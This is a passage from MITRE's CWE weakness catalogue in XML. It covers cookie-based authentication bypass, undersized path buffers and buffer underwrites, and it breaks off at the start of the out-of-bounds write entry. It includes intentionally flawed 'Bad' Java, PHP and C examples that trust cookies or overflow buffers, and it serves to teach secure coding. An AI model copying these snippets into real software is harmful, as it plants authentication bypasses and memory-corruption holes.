               <Entry_Name>Do not mix the early-precedence logical operators with late-precedence logical operators</Entry_Name>
               <Mapping_Fit>CWE More Abstract</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-704"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 6, &#34;Precedence&#34;, Page 287"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-07-16</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="784" Name="Reliance on Cookies without Validation and Integrity Checking in a Security Decision" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product uses a protection mechanism that relies on the existence or values of a cookie, but it does not properly ensure that the cookie is valid for the associated user.</Description>
         <Extended_Description>Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Attackers can bypass protection mechanisms such as authorization and authentication by modifying the cookie to contain an expected value.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="807" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="565" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Web Based" Prevalence="Often"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to claim a high level of authorization, or to claim that successful authentication has occurred.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Avoid using cookie data for a security-related decision.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Add integrity checks to detect tampering.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-15">
               <Intro_Text>The following code excerpt reads a value from a browser cookie to determine the role of the user.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Cookie[] cookies = request.getCookies();<xhtml:br/>for (int i =0; i&lt; cookies.length; i++) {<xhtml:div style="margin-left:1em;">Cookie c = cookies[i];<xhtml:br/>if (c.getName().equals("role")) {<xhtml:div style="margin-left:1em;">userRole = c.getValue();</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-16">
               <Intro_Text>The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$auth = $_COOKIES['authenticated'];<xhtml:br/>if (! $auth) {<xhtml:div style="margin-left:1em;">if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {<xhtml:div style="margin-left:1em;">// save the cookie to send out in future responses<xhtml:br/>setcookie("authenticated", "1", time()+60*60*2);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">ShowLoginScreen();<xhtml:br/>die("\n");</xhtml:div>}</xhtml:div>}<xhtml:br/>DisplayMedicalHistory($_POST['patient_ID']);</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.</Body_Text>
               <Body_Text>However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-17">
               <Intro_Text>In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Cookie[] cookies = request.getCookies();<xhtml:br/>for (int i =0; i&lt; cookies.length; i++) {<xhtml:div style="margin-left:1em;">Cookie c = cookies[i];<xhtml:br/>if (c.getName().equals("authenticated") &amp;&amp; Boolean.TRUE.equals(c.getValue())) {<xhtml:div style="margin-left:1em;">authenticated = true;</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-1549</Reference>
               <Description>Attacker can bypass authentication by setting a cookie to a specific value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1549</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1619</Reference>
               <Description>Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1619</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0864</Reference>
               <Description>Content management system allows admin privileges by setting a "login" cookie to "OK."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0864</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5784</Reference>
               <Description>e-dating application allows admin privileges by setting the admin cookie to 1.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5784</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6291</Reference>
               <Description>Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6291</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-706"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 13, &#34;Sensitive Data in Cookies and Fields&#34; Page 435"/>
         </References>
         <Notes>
            <Note Type="Maintenance">A new parent might need to be defined for this entry. This entry is specific to cookies, which reflects the significant number of vulnerabilities being reported for cookie-based authentication in CVE during 2008 and 2009. However, other types of inputs - such as parameters or headers - could also be used for similar authentication or authorization. Similar issues (under the Research view) include CWE-247 and CWE-472.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-07-16</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Modes_of_Introduction, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="785" Name="Use of Path Manipulation Function without Maximum-sized Buffer" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product invokes a function for normalizing paths or file names, but it provides an output buffer that is smaller than the maximum possible size, such as PATH_MAX.</Description>
         <Extended_Description>Passing an inadequately-sized output buffer to a path manipulation function can result in a buffer overflow. Such functions include realpath(), readlink(), PathAppend(), and others.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="676" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="120" View_ID="1000"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Undetermined"/>
            <Language Name="C++" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Windows provides a large number of utility functions that manipulate buffers containing filenames. In most cases, the result is returned in a buffer that is passed in as input. (Usually the filename is modified in place.) Most functions require the buffer to be at least MAX_PATH bytes in length, but you should check the documentation for each function individually. If the buffer is not large enough to store the result of the manipulation, a buffer overflow can occur.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Always specify output buffers large enough to handle the maximum-size possible result from path manipulation functions.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example the function creates a directory named "output\&lt;name&gt;" in the current directory and returns a heap-allocated copy of its name.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char *createOutputDirectory(char *name) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char outputDirectoryName[128];<xhtml:br/>if (getCurrentDirectory(128, outputDirectoryName) == 0) {<xhtml:div style="margin-left:1em;">return null;</xhtml:div>}<xhtml:br/>if (!PathAppend(outputDirectoryName, "output")) {<xhtml:div style="margin-left:1em;">return null;</xhtml:div>}<xhtml:br/>if (!PathAppend(outputDirectoryName, name)) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>return null;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>if (SHCreateDirectoryEx(NULL, outputDirectoryName, NULL) != ERROR_SUCCESS) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>
                                 <xhtml:br/>return null;</xhtml:div>
                           </xhtml:div>}<xhtml:br/>return StrDup(outputDirectoryName);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>For most values of the current directory and the name parameter, this function will work properly. However, if the name parameter is particularly long, then the second call to PathAppend() could overflow the outputDirectoryName buffer, which is smaller than MAX_PATH bytes.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Affected_Resources>
            <Affected_Resource>Memory</Affected_Resource>
            <Affected_Resource>File or Directory</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Often Misused: File System</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP9</Entry_ID>
               <Entry_Name>Faulty String Expansion</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Maintenance">This entry is at a much lower level of abstraction than most entries because it is function-specific. It also has significant overlap with other entries that can vary depending on the perspective. For example, incorrect usage could trigger either a stack-based overflow (CWE-121) or a heap-based overflow (CWE-122). The CWE team has not decided how to handle such entries.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2009-07-27</Submission_Date>
		<Submission_Comment>Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified before initial publication.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>KDM Analytics</Modification_Name>
               <Modification_Date>2009-07-17</Modification_Date>
               <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Demonstrative_Examples, Relationships, White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="786" Name="Access of Memory Location Before Start of Buffer" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product reads or writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.</Description>
         <Extended_Description>This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.</Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Memory</Impact>
               <Note>For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.</Note>
            </Consequence>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Memory</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-87">
               <Intro_Text>In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char* trimTrailingWhitespace(char *strMessage, int length) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>char *retMessage;<xhtml:br/>char *message = malloc(sizeof(char)*(length+1));<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// copy input string to a temporary string</xhtml:i>
                           <xhtml:br/>char message[length+1];<xhtml:br/>int index;<xhtml:br/>for (index = 0; index &lt; length; index++) {<xhtml:div style="margin-left:1em;">message[index] = strMessage[index];</xhtml:div>}<xhtml:br/>message[index] = '\0';<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// trim trailing whitespace</xhtml:i>
                           <xhtml:br/>int len = index-1;<xhtml:br/>while (isspace(message[len])) {<xhtml:div style="margin-left:1em;">message[len] = '\0';<xhtml:br/>len--;</xhtml:div>}<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>// return string without trailing whitespace</xhtml:i>
                           <xhtml:br/>retMessage = message;<xhtml:br/>return retMessage;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-90">
               <Intro_Text>The following example asks a user for an offset into an array to select an item.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>
                     <xhtml:br/>int main (int argc, char **argv) {<xhtml:div style="margin-left:1em;">char *items[] = {"boat", "car", "truck", "train"};<xhtml:br/>int index = GetUntrustedOffset();<xhtml:br/>printf("You selected %s\n", items[index-1]);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-88">
               <Intro_Text>The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int main() {<xhtml:div style="margin-left:1em;">...<xhtml:br/>strncpy(destBuf, &amp;srcBuf[find(srcBuf, ch)], 1024);<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-2227</Reference>
               <Description>Unchecked length of SSLv2 challenge value leads to buffer underflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2227</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4580</Reference>
               <Description>Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4580</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1584</Reference>
               <Description>Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1584</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-0886</Reference>
               <Description>Buffer underflow resultant from encoded data that triggers an integer overflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-0886</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-6171</Reference>
               <Description>Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-6171</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4024</Reference>
               <Description>Negative value is used in a memcpy() operation, leading to buffer underflow.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4024</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2620</Reference>
               <Description>Buffer underflow due to mishandled special characters</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2620</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ARR30-C</Entry_ID>
               <Entry_Name>Do not form or use out-of-bounds pointers or array subscripts</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-10-21</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="787" Name="Out-of-bounds Write" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product writes data past the end, or before the beginning, of the intended buffer.</Description>
         <Extended_Description>Typically, this can result in corruption of data, a crash, or code execution.  The product may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer.  A subsequent write operation then produces undefined or unexpected results.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1003" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="119" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="C" Prevalence="Often"/>
